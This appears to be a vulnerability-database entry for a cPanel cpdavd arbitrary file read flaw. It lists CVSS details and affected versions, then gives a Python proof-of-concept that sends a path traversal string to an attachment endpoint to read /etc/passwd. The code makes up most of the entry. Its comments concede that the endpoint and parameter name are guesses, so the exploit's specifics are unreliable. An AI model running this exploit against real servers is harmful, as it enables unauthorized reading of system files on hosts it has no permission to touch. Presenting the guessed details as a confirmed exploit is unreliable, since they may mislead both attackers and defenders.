Incorrect privileges management and insufficient path filtering allow to read arbitrary file on the server via the cpdavd attachment download endpoints.
CVSS Details
CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Configurations (Affected Products)
No configuration data available.
cPanel & WHM versions prior to Security Update released on May 13, 2026
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# PoC for CVE-2026-29205: cPanel cpdavd Arbitrary File Read
# Author: Security Analyst
# Target configuration (Replace with actual vulnerable host)
target_host = "http://target-cpanel-server:2082"
malicious_file = "../../../../etc/passwd"
# The vulnerable endpoint is related to cpdavd attachment download
# Based on the description, the path filtering is insufficient
url = f"{target_host}/cpdavd/attachment"
# Attempting to read a sensitive file using path traversal
params = {
"file": malicious_file # Parameter name might vary based on actual implementation
}
try:
response = requests.get(url, params=params, timeout=10)
if response.status_code == 200 and "root:x" in response.text:
print("[+] Exploit successful! Arbitrary file read confirmed.")
print("[+] File content:")
print(response.text)
else:
print("[-] Exploit failed or target is patched.")
print(f"Status Code: {response.status_code}")
except Exception as e:
print(f"Error: {e}")